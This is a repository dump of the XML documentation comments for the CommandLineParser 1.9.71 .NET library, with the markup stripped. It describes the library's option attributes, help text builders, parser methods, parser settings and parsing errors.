1246 | setting case comparison and help output options.
1247 |
1248 | If set to true, parsing will be case sensitive.
1249 | Any instance derived from ,
1250 | default . Setting this argument to null, will disable help screen.
1251 |
1252 |
1253 |
1254 | Initializes a new instance of the class,
1255 | setting case comparison and mutually exclusive behaviors.
1256 |
1257 | If set to true, parsing will be case sensitive.
1258 | If set to true, enable mutually exclusive behavior.
1259 |
1260 |
1261 |
1262 | Initializes a new instance of the class,
1263 | setting case comparison, mutually exclusive behavior and help output option.
1264 |
1265 | If set to true, parsing will be case sensitive.
1266 | If set to true, enable mutually exclusive behavior.
1267 | Any instance derived from ,
1268 | default . Setting this argument to null, will disable help screen.
1269 |
1270 |
1271 |
1272 | Initializes a new instance of the class,
1273 | setting case comparison, mutually exclusive behavior and help output option.
1274 |
1275 | If set to true, parsing will be case sensitive.
1276 | If set to true, enable mutually exclusive behavior.
1277 | If set to true, allow the parser to skip unknown argument, otherwise return a parse failure
1278 | Any instance derived from ,
1279 | default . Setting this argument to null, will disable help screen.
1280 |
1281 |
1282 |
1283 | Finalizes an instance of the class.
1284 |
1285 |
1286 |
1287 |
1288 | Frees resources owned by the instance.
1289 |
1290 |
1291 |
1292 |
1293 | Gets or sets a value indicating whether perform case sensitive comparisons.
1294 |
1295 |
1296 |
1297 |
1298 | Gets or sets a value indicating whether set a mutually exclusive behavior.
1299 | Default is set to false.
1300 |
1301 |
1302 |
1303 |
1304 | Gets or sets the used for help method output.
1305 | Setting this property to null, will disable help screen.
1306 |
1307 |
1308 |
1309 |
1310 | Gets or sets a value indicating whether the parser shall move on to the next argument and ignore the given argument if it
1311 | encounter an unknown arguments
1312 |
1313 |
1314 | true to allow parsing the arguments with different class options that do not have all the arguments.
1315 |
1316 |
1317 | This allows fragmented version class parsing, useful for project with add-on where add-ons also requires command line arguments but
1318 | when these are unknown by the main program at build time.
1319 |
1320 |
1321 |
1322 |
1323 | Gets or sets the culture used when parsing arguments to typed properties.
1324 |
1325 |
1326 | Default is CurrentCulture of .
1327 |
1328 |
1329 |
1330 |
1331 | Represents the parser state.
1332 |
1333 |
1334 |
1335 |
1336 | Gets errors occurred during parsing.
1337 |
1338 |
1339 |
1340 |
1341 | Models a type that records the parser state after parsing.
1342 |
1343 |
1344 |
1345 |
1346 | Gets a list of parsing errors.
1347 |
1348 |
1349 | Parsing errors.
1350 |
1351 |
1352 |
1353 |
1354 | Models a parsing error.
1355 |
1356 |
1357 |
1358 |
1359 | Gets or a the bad parsed option.
1360 |
1361 |
1362 | The bad option.
1363 |
1364 |
1365 |
1366 |
1367 | Gets or sets a value indicating whether this violates required.
1368 |
1369 |
1370 | true if violates required; otherwise, false.
1371 |
1372 |
1373 |
1374 |
1375 | Gets or sets a value indicating whether this violates format.
1376 |
1377 |
1378 | true if violates format; otherwise, false.
1379 |
1380 |
1381 |
1382 |
1383 | Gets or sets a value indicating whether this violates mutual exclusiveness.
1384 |
1385 |
1386 | true if violates mutual exclusiveness; otherwise, false.
1387 |
1388 |
1389 |
1390 |
1391 |
--------------------------------------------------------------------------------
/packages/CommandLineParser.1.9.71/lib/net40/CommandLine.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | CommandLine
5 |
6 |
7 |
8 |
9 | Provides base properties for creating an attribute, used to define rules for command line parsing.
10 |
11 |
12 |
13 |
14 | Initializes a new instance of the class.
15 |
16 |
17 |
18 |
19 | Initializes a new instance of the class.
20 | Validating and .
21 |
22 | Short name of the option.
23 | Long name of the option.
24 |
25 |
26 |
27 | Initializes a new instance of the class. Validating
28 | and . This constructor accepts a as short name.
29 |
30 | Short name of the option.
31 | Long name of the option.
32 |
33 |
34 |
35 | Gets a short name of this command line option. You can use only one character.
36 |
37 |
38 |
39 |
40 | Gets long name of this command line option. This name is usually a single english word.
41 |
42 |
43 |
44 |
45 | Gets or sets the option's mutually exclusive set.
46 |
47 |
48 |
49 |
50 | Gets or sets a value indicating whether a command line option is required.
51 |
52 |
53 |
54 |
55 | Gets or sets mapped property default value.
56 |
57 |
58 |
59 |
60 | Gets or sets mapped property meta value.
61 |
62 |
63 |
64 |
65 | Gets or sets a short description of this command line option. Usually a sentence summary.
66 |
67 |
68 |
69 |
70 | Models an option specification.
71 |
72 |
73 |
74 |
75 | Initializes a new instance of the class.
76 | The default long name will be inferred from target property.
77 |
78 |
79 |
80 |
81 | Initializes a new instance of the class.
82 |
83 | The short name of the option..
84 |
85 |
86 |
87 | Initializes a new instance of the class.
88 |
89 | The long name of the option.
90 |
91 |
92 |
93 | Initializes a new instance of the class.
94 |
95 | The short name of the option.
96 | The long name of the option or null if not used.
97 |
98 |
99 |
100 | Helper factory method for testing purpose.
101 |
102 | An instance.
103 |
104 |
105 |
106 | Models an option that can accept multiple values as separated arguments.
107 |
108 |
109 |
110 |
111 | Initializes a new instance of the class.
112 | The default long name will be inferred from target property.
113 |
114 |
115 |
116 |
117 | Initializes a new instance of the class.
118 |
119 | The short name of the option.
120 |
121 |
122 |
123 | Initializes a new instance of the class.
124 |
125 | The long name of the option.
126 |
127 |
128 |
129 | Initializes a new instance of the class.
130 |
131 | The short name of the option.
132 | The long name of the option or null if not used.
133 |
134 |
135 |
136 | Indicates the instance method that must be invoked when it becomes necessary show your help screen.
137 | The method signature is an instance method with no parameters and
138 | return value.
139 |
140 |
141 |
142 |
143 | Initializes a new instance of the class.
144 | Although it is possible, it is strongly discouraged redefine the long name for this option
145 | not to disorient your users. It is also recommended not to define a short one.
146 |
147 |
148 |
149 |
150 | Initializes a new instance of the class
151 | with the specified short name. Use parameter less constructor instead.
152 |
153 | The short name of the option.
154 |
155 | It's highly not recommended change the way users invoke help. It may create confusion.
156 |
157 |
158 |
159 |
160 | Initializes a new instance of the class
161 | with the specified long name. Use parameter less constructor instead.
162 |
163 | The long name of the option or null if not used.
164 |
165 | It's highly not recommended change the way users invoke help. It may create confusion.
166 |
167 |
168 |
169 |
170 | Initializes a new instance of the class.
171 | Allows you to define short and long option names.
172 |
173 | The short name of the option.
174 | The long name of the option or null if not used.
175 |
176 | It's highly not recommended change the way users invoke help. It may create confusion.
177 |
178 |
179 |
180 |
181 | Returns always false for this kind of option.
182 | This behaviour can't be changed by design; if you try set
183 | an will be thrown.
184 |
185 |
186 |
187 |
188 | Models an option that can accept multiple values.
189 | Must be applied to a field compatible with an interface
190 | of instances.
191 |
192 |
193 |
194 |
195 | Initializes a new instance of the class.
196 | The default long name will be inferred from target property.
197 |
198 |
199 |
200 |
201 | Initializes a new instance of the class.
202 |
203 | The short name of the option.
204 |
205 |
206 |
207 | Initializes a new instance of the class.
208 |
209 | The long name of the option or null if not used.
210 |
211 |
212 |
213 | Initializes a new instance of the class.
214 |
215 | The short name of the option.
216 | The long name of the option or null if not used.
217 |
218 |
219 |
220 | Initializes a new instance of the class.
221 |
222 | The short name of the option or null if not used.
223 | The long name of the option or null if not used.
224 | Values separator character.
225 |
226 |
227 |
228 | Gets or sets the values separator character.
229 |
230 |
231 |
232 |
233 | Indicates that the property can receive an instance of type .
234 |
235 |
236 |
237 |
238 | Models a list of command line arguments that are not options.
239 | Must be applied to a field compatible with an interface
240 | of instances.
241 |
242 | To map individual values use instead .
243 |
244 |
245 |
246 | Initializes a new instance of the class.
247 |
248 | A type that implements .
249 | Thrown if is null.
250 |
251 |
252 |
253 | Gets or sets the maximum element allow for the list managed by type.
254 | If lesser than 0, no upper bound is fixed.
255 | If equal to 0, no elements are allowed.
256 |
257 |
258 |
259 |
260 | Gets the concrete type specified during initialization.
261 |
262 |
263 |
264 |
265 | Maps a single unnamed option to the target property. Values will be mapped in order of Index.
266 | This attribute takes precedence over with which
267 | can coexist.
268 |
269 | It can handle only scalar values. Do not apply to arrays or lists.
270 |
271 |
272 |
273 | Initializes a new instance of the class.
274 |
275 | The _index of the option.
276 |
277 |
278 |
279 | Gets the position this option has on the command line.
280 |
281 |
282 |
283 |
284 | Utility extension methods for System.Char.
285 |
286 |
287 |
288 |
289 | Encapsulates property writing primitives.
290 |
291 |
292 |
293 |
294 | Utility extension methods for System.String.
295 |
296 |
297 |
298 |
299 | Gets or sets the assembly from which to pull information. Setter provided for testing purpose.
300 |
301 |
302 |
303 |
304 | Utility extension methods for query target capabilities.
305 |
306 |
307 |
308 |
309 | Maps unnamed options to property using and .
310 |
311 |
312 |
313 |
314 | Helper method for testing purpose.
315 |
316 | An argument enumerator instance.
317 | The next input value.
318 |
319 |
320 |
321 | Initializes a new instance of the class. Used for unit testing purpose.
322 |
323 | Option short name.
324 | Option long name.
325 |
326 |
327 |
328 | Initializes a new instance of the class.
329 | It is internal rather than private for unit testing purpose.
330 |
331 | Initial internal capacity.
332 | Parser settings instance.
333 |
334 |
335 |
336 | Provides means to format an help screen.
337 | You can assign it in place of a instance.
338 |
339 |
340 |
341 |
342 | Initializes a new instance of the class.
343 |
344 |
345 |
346 |
347 | Initializes a new instance of the class
348 | specifying the sentence builder.
349 |
350 |
351 | A instance.
352 |
353 |
354 |
355 |
356 | Initializes a new instance of the class
357 | specifying heading string.
358 |
359 | An heading string or an instance of .
360 | Thrown when parameter is null or empty string.
361 |
362 |
363 |
364 | Initializes a new instance of the class
365 | specifying the sentence builder and heading string.
366 |
367 | A instance.
368 | A string with heading or an instance of .
369 |
370 |
371 |
372 | Initializes a new instance of the class
373 | specifying heading and copyright strings.
374 |
375 | A string with heading or an instance of .
376 | A string with copyright or an instance of .
377 | Thrown when one or more parameters are null or empty strings.
378 |
379 |
380 |
381 | Initializes a new instance of the class
382 | specifying heading and copyright strings.
383 |
384 | A instance.
385 | A string with heading or an instance of .
386 | A string with copyright or an instance of .
387 | Thrown when one or more parameters are null or empty strings.
388 |
389 |
390 |
391 | Initializes a new instance of the class
392 | specifying heading and copyright strings.
393 |
394 | A string with heading or an instance of .
395 | A string with copyright or an instance of .
396 | The instance that collected command line arguments parsed with class.
397 | Thrown when one or more parameters are null or empty strings.
398 |
399 |
400 |
401 | Initializes a new instance of the class
402 | specifying heading and copyright strings.
403 |
404 | A instance.
405 | A string with heading or an instance of .
406 | A string with copyright or an instance of .
407 | The instance that collected command line arguments parsed with class.
408 | Thrown when one or more parameters are null or empty strings.
409 |
410 |
411 |
412 | Creates a new instance of the class using common defaults.
413 |
414 |
415 | An instance of class.
416 |
417 | The instance that collected command line arguments parsed with class.
418 |
419 |
420 |
421 | Creates a new instance of the class using common defaults.
422 |
423 |
424 | An instance of class.
425 |
426 | The instance that collected command line arguments parsed with class.
427 | A delegate used to customize the text block for reporting parsing errors.
428 | If true the output style is consistent with verb commands (no dashes), otherwise it outputs options.
429 |
430 |
431 |
432 | Creates a new instance of the class using common defaults,
433 | for verb commands scenario.
434 |
435 |
436 | An instance of class.
437 |
438 | The instance that collected command line arguments parsed with class.
439 | The verb command invoked.
440 |
441 |
442 |
443 | Supplies a default parsing error handler implementation.
444 |
445 | The instance that collects parsed arguments parsed and associates
446 | to a property of type .
447 | The instance.
448 |
449 |
450 |
451 | Converts the help instance to a .
452 |
453 | This instance.
454 | The that contains the help screen.
455 |
456 |
457 |
458 | Adds a text line after copyright and before options usage strings.
459 |
460 | A instance.
461 | Thrown when parameter is null or empty string.
462 |
463 |
464 |
465 | Adds a text line at the bottom, after options usage string.
466 |
467 | A instance.
468 | Thrown when parameter is null or empty string.
469 |
470 |
471 |
472 | Adds a text block with options usage string.
473 |
474 | The instance that collected command line arguments parsed with class.
475 | Thrown when parameter is null.
476 |
477 |
478 |
479 | Adds a text block with options usage string.
480 |
481 | The instance that collected command line arguments parsed with the class.
482 | The word to use when the option is required.
483 | Thrown when parameter is null.
484 | Thrown when parameter is null or empty string.
485 |
486 |
487 |
488 | Adds a text block with options usage string.
489 |
490 | The instance that collected command line arguments parsed with the class.
491 | The word to use when the option is required.
492 | The maximum length of the help documentation.
493 | Thrown when parameter is null.
494 | Thrown when parameter is null or empty string.
495 |
496 |
497 |
498 | Builds a string that contains a parsing error message.
499 |
500 | An options target instance that collects parsed arguments parsed with the
501 | associated to a property of type .
502 | Number of spaces used to indent text.
503 | The that contains the parsing error message.
504 |
505 |
506 |
507 | Returns the help screen as a .
508 |
509 | The that contains the help screen.
510 |
511 |
512 |
513 | The OnFormatOptionHelpText method also allows derived classes to handle the event without attaching a delegate.
514 | This is the preferred technique for handling the event in a derived class.
515 |
516 | Data for the event.
517 |
518 |
519 |
520 | Occurs when an option help text is formatted.
521 |
522 |
523 |
524 |
525 | Gets or sets the heading string.
526 | You can directly assign a instance.
527 |
528 |
529 |
530 |
531 | Gets or sets the copyright string.
532 | You can directly assign a instance.
533 |
534 |
535 |
536 |
537 | Gets or sets the maximum width of the display. This determines word wrap when displaying the text.
538 |
539 | The maximum width of the display.
540 |
541 |
542 |
543 | Gets or sets a value indicating whether the format of options should contain dashes.
544 | It modifies behavior of method.
545 |
546 |
547 |
548 |
549 | Gets or sets a value indicating whether to add an additional line after the description of the option.
550 |
551 |
552 |
553 |
554 | Gets the instance specified in constructor.
555 |
556 |
557 |
558 |
559 | Models an abstract sentence builder.
560 |
561 |
562 |
563 |
564 | Creates the built in sentence builder.
565 |
566 | The built in sentence builder.
567 |
568 |
569 |
570 | Gets a string containing word 'option'.
571 |
572 | The word 'option'.
573 |
574 |
575 |
576 | Gets a string containing the word 'and'.
577 |
578 | The word 'and'.
579 |
580 |
581 |
582 | Gets a string containing the sentence 'required option missing'.
583 |
584 | The sentence 'required option missing'.
585 |
586 |
587 |
588 | Gets a string containing the sentence 'violates format'.
589 |
590 | The sentence 'violates format'.
591 |
592 |
593 |
594 | Gets a string containing the sentence 'violates mutual exclusiveness'.
595 |
596 | The sentence 'violates mutual exclusiveness'.
597 |
598 |
599 |
600 | Gets a string containing the error heading text.
601 |
602 | The error heading text.
603 |
604 |
605 |
606 | Models an english sentence builder, currently the default one.
607 |
608 |
609 |
610 |
611 | Gets a string containing word 'option' in english.
612 |
613 | The word 'option' in english.
614 |
615 |
616 |
617 | Gets a string containing the word 'and' in english.
618 |
619 | The word 'and' in english.
620 |
621 |
622 |
623 | Gets a string containing the sentence 'required option missing' in english.
624 |
625 | The sentence 'required option missing' in english.
626 |
627 |
628 |
629 | Gets a string containing the sentence 'violates format' in english.
630 |
631 | The sentence 'violates format' in english.
632 |
633 |
634 |
635 | Gets a string containing the sentence 'violates mutual exclusiveness' in english.
636 |
637 | The sentence 'violates mutual exclusiveness' in english.
638 |
639 |
640 |
641 | Gets a string containing the error heading text in english.
642 |
643 | The error heading text in english.
644 |
645 |
646 |
647 | Models the copyright part of an help text.
648 | You can assign it where you assign any instance.
649 |
650 |
651 |
652 |
653 | Initializes a new instance of the class
654 | specifying author and year.
655 |
656 | The company or person holding the copyright.
657 | The year of coverage of copyright.
658 | Thrown when parameter is null or empty string.
659 |
660 |
661 |
662 | Initializes a new instance of the class
663 | specifying author and copyrightYears.
664 |
665 | The company or person holding the copyright.
666 | The copyrightYears of coverage of copyright.
667 | Thrown when parameter is null or empty string.
668 | Thrown when parameter is not supplied.
669 |
670 |
671 |
672 | Initializes a new instance of the class
673 | specifying symbol case, author and copyrightYears.
674 |
675 | The case of the copyright symbol.
676 | The company or person holding the copyright.
677 | The copyrightYears of coverage of copyright.
678 | Thrown when parameter is null or empty string.
679 | Thrown when parameter is not supplied.
680 |
681 |
682 |
683 | Initializes a new instance of the class.
684 |
685 |
686 |
687 |
688 | Initializes a new instance of the class
689 | with an assembly attribute, this overrides all formatting.
690 |
691 | The attribute which text to use.
692 |
693 |
694 |
695 | Converts the copyright instance to a .
696 |
697 | This instance.
698 | The that contains the copyright.
699 |
700 |
701 |
702 | Returns the copyright as a .
703 |
704 | The that contains the copyright.
705 |
706 |
707 |
708 | When overridden in a derived class, allows to specify a new algorithm to render copyright copyrightYears
709 | as a instance.
710 |
711 | A array of copyrightYears.
712 | A instance with copyright copyrightYears.
713 |
714 |
715 |
716 | Gets the default copyright information.
717 | Retrieved from , if it exists,
718 | otherwise it uses as copyright holder with the current year.
719 | If neither exists it throws an .
720 |
721 |
722 |
723 |
724 | Gets a different copyright word when overridden in a derived class.
725 |
726 |
727 |
728 |
729 | Models the heading part of an help text.
730 | You can assign it where you assign any instance.
731 |
732 |
733 |
734 |
735 | Initializes a new instance of the class
736 | specifying program name.
737 |
738 | The name of the program.
739 | Thrown when parameter is null or empty string.
740 |
741 |
742 |
743 | Initializes a new instance of the class
744 | specifying program name and version.
745 |
746 | The name of the program.
747 | The version of the program.
748 | Thrown when parameter is null or empty string.
749 |
750 |
751 |
752 | Converts the heading to a .
753 |
754 | This instance.
755 | The that contains the heading.
756 |
757 |
758 |
759 | Returns the heading as a .
760 |
761 | The that contains the heading.
762 |
763 |
764 |
765 | Writes out a string and a new line using the program name specified in the constructor
766 | and parameter.
767 |
768 | The message to write.
769 | The target derived type.
770 | Thrown when parameter is null or empty string.
771 | Thrown when parameter is null.
772 |
773 |
774 |
775 | Writes out a string and a new line using the program name specified in the constructor
776 | and parameter to standard output stream.
777 |
778 | The message to write.
779 | Thrown when parameter is null or empty string.
780 |
781 |
782 |
783 | Writes out a string and a new line using the program name specified in the constructor
784 | and parameter to standard error stream.
785 |
786 | The message to write.
787 | Thrown when parameter is null or empty string.
788 |
789 |
790 |
791 | Gets the default heading instance.
792 | The title is retrieved from ,
793 | or the assembly short name if its not defined.
794 | The version is retrieved from ,
795 | or the assembly version if its not defined.
796 |
797 |
798 |
799 |
800 | Provides base properties for creating an attribute, used to define multiple lines of text.
801 |
802 |
803 |
804 |
805 | Initializes a new instance of the class. Used in derived type
806 | using one line of text.
807 |
808 | The first line of text.
809 |
810 |
811 |
812 | Initializes a new instance of the class. Used in type
813 | using two lines of text.
814 |
815 | The first line of text.
816 | The second line of text.
817 |
818 |
819 |
820 | Initializes a new instance of the class. Used in type
821 | using three lines of text.
822 |
823 | The first line of text.
824 | The second line of text.
825 | The third line of text.
826 |
827 |
828 |
829 | Initializes a new instance of the class. Used in type
830 | using four lines of text.
831 |
832 | The first line of text.
833 | The second line of text.
834 | The third line of text.
835 | The fourth line of text.
836 |
837 |
838 |
839 | Initializes a new instance of the class. Used in type
840 | using five lines of text.
841 |
842 | The first line of text.
843 | The second line of text.
844 | The third line of text.
845 | The fourth line of text.
846 | The fifth line of text.
847 |
848 |
849 |
850 | Returns the last line with text. Preserves blank lines if user intended by skipping a line.
851 |
852 | The last index of line of the non-blank line.
853 |
854 | The string array to process.
855 |
856 |
857 |
858 | Gets the all non-blank lines as string.
859 |
860 | A string of all non-blank lines.
861 |
862 |
863 |
864 | Gets the first line of text.
865 |
866 |
867 |
868 |
869 | Gets the second line of text.
870 |
871 |
872 |
873 |
874 | Gets third line of text.
875 |
876 |
877 |
878 |
879 | Gets the fourth line of text.
880 |
881 |
882 |
883 |
884 | Gets the fifth line of text.
885 |
886 |
887 |
888 |
889 | Models a multiline assembly license text.
890 |
891 |
892 |
893 |
894 | Initializes a new instance of the class
895 | with one line of text.
896 |
897 | First line of license text.
898 |
899 |
900 |
901 | Initializes a new instance of the class
902 | with two lines of text.
903 |
904 | First line of license text.
905 | Second line of license text.
906 |
907 |
908 |
909 | Initializes a new instance of the class
910 | with three lines of text.
911 |
912 | First line of license text.
913 | Second line of license text.
914 | Third line of license text.
915 |
916 |
917 |
918 | Initializes a new instance of the class
919 | with four lines of text.
920 |
921 | First line of license text.
922 | Second line of license text.
923 | Third line of license text.
924 | Fourth line of license text.
925 |
926 |
927 |
928 | Initializes a new instance of the class
929 | with five lines of text.
930 |
931 | First line of license text.
932 | Second line of license text.
933 | Third line of license text.
934 | Fourth line of license text.
935 | Fifth line of license text.
936 |
937 |
938 |
939 | Models a multiline assembly usage text.
940 |
941 |
942 |
943 |
944 | Initializes a new instance of the class
945 | with one line of text.
946 |
947 | First line of usage text.
948 |
949 |
950 |
951 | Initializes a new instance of the class
952 | with two lines of text.
953 |
954 | First line of usage text.
955 | Second line of usage text.
956 |
957 |
958 |
959 | Initializes a new instance of the class
960 | with three lines of text.
961 |
962 | First line of usage text.
963 | Second line of usage text.
964 | Third line of usage text.
965 |
966 |
967 |
968 | Initializes a new instance of the class
969 | with four lines of text.
970 |
971 | First line of usage text.
972 | Second line of usage text.
973 | Third line of usage text.
974 | Fourth line of usage text.
975 |
976 |
977 |
978 | Initializes a new instance of the class
979 | with five lines of text.
980 |
981 | First line of usage text.
982 | Second line of usage text.
983 | Third line of usage text.
984 | Fourth line of usage text.
985 | Fifth line of usage text.
986 |
987 |
988 |
989 | Provides data for the FormatOptionHelpText event.
990 |
991 |
992 |
993 |
994 | Initializes a new instance of the class.
995 |
996 | Option to format.
997 |
998 |
999 |
1000 | Gets the option to format.
1001 |
1002 |
1003 |
1004 |
1005 | Indicates the instance method that must be invoked when it becomes necessary show your help screen.
1006 | The method signature is an instance method with that accepts and returns a .
1007 |
1008 |
1009 |
1010 |
1011 | Initializes a new instance of the class.
1012 | Although it is possible, it is strongly discouraged redefine the long name for this option
1013 | not to disorient your users.
1014 |
1015 |
1016 |
1017 |
1018 | Initializes a new instance of the class
1019 | with the specified long name. Use parameter less constructor instead.
1020 |
1021 | Help verb option alternative name.
1022 |
1023 | It's highly not recommended change the way users invoke help. It may create confusion.
1024 |
1025 |
1026 |
1027 |
1028 | Help verb command do not support short name by design.
1029 |
1030 |
1031 |
1032 |
1033 | Help verb command like ordinary help option cannot be mandatory by design.
1034 |
1035 |
1036 |
1037 |
1038 | Models a verb command specification.
1039 |
1040 |
1041 |
1042 |
1043 | Initializes a new instance of the class.
1044 |
1045 | The long name of the verb command.
1046 |
1047 |
1048 |
1049 | Verb commands do not support short name by design.
1050 |
1051 |
1052 |
1053 |
1054 | Verb commands cannot be mandatory since are mutually exclusive by design.
1055 |
1056 |
1057 |
1058 |
1059 | Models a bad parsed option.
1060 |
1061 |
1062 |
1063 |
1064 | Gets the short name of the option.
1065 |
1066 | Returns the short name of the option.
1067 |
1068 |
1069 |
1070 | Gets the long name of the option.
1071 |
1072 | Returns the long name of the option.
1073 |
1074 |
1075 |
1076 | Provides methods to parse command line arguments.
1077 |
1078 |
1079 |
1080 |
1081 | Default exit code (1) used by
1082 | and overloads.
1083 |
1084 |
1085 |
1086 |
1087 | Initializes a new instance of the class.
1088 |
1089 |
1090 |
1091 |
1092 | Initializes a new instance of the class,
1093 | configurable with a object.
1094 |
1095 | The object is used to configure
1096 | aspects and behaviors of the parser.
1097 |
1098 |
1099 |
1100 | Initializes a new instance of the class,
1101 | configurable with using a delegate.
1102 |
1103 | The delegate used to configure
1104 | aspects and behaviors of the parser.
1105 |
1106 |
1107 |
1108 | Finalizes an instance of the class.
1109 |
1110 |
1111 |
1112 |
1113 | Parses a array of command line arguments, setting values in
1114 | parameter instance's public fields decorated with appropriate attributes.
1115 |
1116 | A array of command line arguments.
1117 | An instance used to receive values.
1118 | Parsing rules are defined using derived types.
1119 | True if parsing process succeed.
1120 | Thrown if is null.
1121 | Thrown if is null.
1122 |
1123 |
1124 |
1125 | Parses a array of command line arguments with verb commands, setting values in
1126 | parameter instance's public fields decorated with appropriate attributes.
1127 | This overload supports verb commands.
1128 |
1129 | A array of command line arguments.
1130 | An instance used to receive values.
1131 | Parsing rules are defined using derived types.
1132 | Delegate executed to capture verb command name and instance.
1133 | True if parsing process succeed.
1134 | Thrown if is null.
1135 | Thrown if is null.
1136 | Thrown if is null.
1137 |
1138 |
1139 |
1140 | Parses a array of command line arguments, setting values in
1141 | parameter instance's public fields decorated with appropriate attributes. If parsing fails, the method invokes
1142 | the delegate, if null exits with .
1143 |
1144 | A array of command line arguments.
1145 | An object's instance used to receive values.
1146 | Parsing rules are defined using derived types.
1147 | The delegate executed when parsing fails.
1148 | True if parsing process succeed.
1149 | Thrown if is null.
1150 | Thrown if is null.
1151 |
1152 |
1153 |
1154 | Parses a array of command line arguments with verb commands, setting values in
1155 | parameter instance's public fields decorated with appropriate attributes. If parsing fails, the method invokes
1156 | the delegate, if null exits with .
1157 | This overload supports verb commands.
1158 |
1159 | A array of command line arguments.
1160 | An instance used to receive values.
1161 | Parsing rules are defined using derived types.
1162 | Delegate executed to capture verb command name and instance.
1163 | The delegate executed when parsing fails.
1164 | True if parsing process succeed.
1165 | Thrown if is null.
1166 | Thrown if is null.
1167 | Thrown if is null.
1168 |
1169 |
1170 |
1171 | Frees resources owned by the instance.
1172 |
1173 |
1174 |
1175 |
1176 | Gets the singleton instance created with basic defaults.
1177 |
1178 |
1179 |
1180 |
1181 | Gets the instance that implements in use.
1182 |
1183 |
1184 |
1185 |
1186 | This exception is thrown when a generic parsing error occurs.
1187 |
1188 |
1189 |
1190 |
1191 | Initializes a new instance of the class. The exception is thrown
1192 | when something unexpected occurs during the parsing process.
1193 |
1194 |
1195 |
1196 |
1197 | Initializes a new instance of the class. The exception is thrown
1198 | when something unexpected occurs during the parsing process.
1199 |
1200 | Error message string.
1201 |
1202 |
1203 |
1204 | Initializes a new instance of the class. The exception is thrown
1205 | when something unexpected occurs during the parsing process.
1206 |
1207 | Error message string.
1208 | Inner exception reference.
1209 |
1210 |
1211 |
1212 | Initializes a new instance of the class. The exception is thrown
1213 | when something unexpected occurs during the parsing process.
1214 |
1215 | The object that holds the serialized object data.
1216 | The contextual information about the source or destination.
1217 |
1218 |
1219 |
1220 | Provides settings for . Once consumed cannot be reused.
1221 |
1222 |
1223 |
1224 |
1225 | Initializes a new instance of the class.
1226 |
1227 |
1228 |
1229 |
1230 | Initializes a new instance of the class,
1231 | setting the case comparison behavior.
1232 |
1233 | If set to true, parsing will be case sensitive.
1234 |
1235 |
1236 |
1237 | Initializes a new instance of the class,
1238 | setting the used for help method output.
1239 |
1240 | Any instance derived from ,
1241 | default . Setting this argument to null, will disable help screen.
1242 |
1243 |
1244 |
1245 | Initializes a new instance of the class,
1246 | setting case comparison and help output options.
1247 |
1248 | If set to true, parsing will be case sensitive.
1249 | Any instance derived from ,
1250 | default . Setting this argument to null, will disable help screen.
1251 |
1252 |
1253 |
1254 | Initializes a new instance of the class,
1255 | setting case comparison and mutually exclusive behaviors.
1256 |
1257 | If set to true, parsing will be case sensitive.
1258 | If set to true, enable mutually exclusive behavior.
1259 |
1260 |
1261 |
1262 | Initializes a new instance of the class,
1263 | setting case comparison, mutually exclusive behavior and help output option.
1264 |
1265 | If set to true, parsing will be case sensitive.
1266 | If set to true, enable mutually exclusive behavior.
1267 | Any instance derived from ,
1268 | default . Setting this argument to null, will disable help screen.
1269 |
1270 |
1271 |
1272 | Initializes a new instance of the class,
1273 | setting case comparison, mutually exclusive behavior and help output option.
1274 |
1275 | If set to true, parsing will be case sensitive.
1276 | If set to true, enable mutually exclusive behavior.
1277 | If set to true, allow the parser to skip unknown argument, otherwise return a parse failure
1278 | Any instance derived from ,
1279 | default . Setting this argument to null, will disable help screen.
1280 |
1281 |
1282 |
1283 | Finalizes an instance of the class.
1284 |
1285 |
1286 |
1287 |
1288 | Frees resources owned by the instance.
1289 |
1290 |
1291 |
1292 |
1293 | Gets or sets a value indicating whether perform case sensitive comparisons.
1294 |
1295 |
1296 |
1297 |
1298 | Gets or sets a value indicating whether set a mutually exclusive behavior.
1299 | Default is set to false.
1300 |
1301 |
1302 |
1303 |
1304 | Gets or sets the used for help method output.
1305 | Setting this property to null, will disable help screen.
1306 |
1307 |
1308 |
1309 |
1310 | Gets or sets a value indicating whether the parser shall move on to the next argument and ignore the given argument if it
1311 | encounter an unknown arguments
1312 |
1313 |
1314 | true to allow parsing the arguments with different class options that do not have all the arguments.
1315 |
1316 |
1317 | This allows fragmented version class parsing, useful for project with add-on where add-ons also requires command line arguments but
1318 | when these are unknown by the main program at build time.
1319 |
1320 |
1321 |
1322 |
1323 | Gets or sets the culture used when parsing arguments to typed properties.
1324 |
1325 |
1326 | Default is CurrentCulture of .
1327 |
1328 |
1329 |
1330 |
1331 | Represents the parser state.
1332 |
1333 |
1334 |
1335 |
1336 | Gets errors occurred during parsing.
1337 |
1338 |
1339 |
1340 |
1341 | Models a type that records the parser state after parsing.
1342 |
1343 |
1344 |
1345 |
1346 | Gets a list of parsing errors.
1347 |
1348 |
1349 | Parsing errors.
1350 |
1351 |
1352 |
1353 |
1354 | Models a parsing error.
1355 |
1356 |
1357 |
1358 |
1359 | Gets or a the bad parsed option.
1360 |
1361 |
1362 | The bad option.
1363 |
1364 |
1365 |
1366 |
1367 | Gets or sets a value indicating whether this violates required.
1368 |
1369 |
1370 | true if violates required; otherwise, false.
1371 |
1372 |
1373 |
1374 |
1375 | Gets or sets a value indicating whether this violates format.
1376 |
1377 |
1378 | true if violates format; otherwise, false.
1379 |
1380 |
1381 |
1382 |
1383 | Gets or sets a value indicating whether this violates mutual exclusiveness.
1384 |
1385 |
1386 | true if violates mutual exclusiveness; otherwise, false.
1387 |
1388 |
1389 |
1390 |
1391 |
--------------------------------------------------------------------------------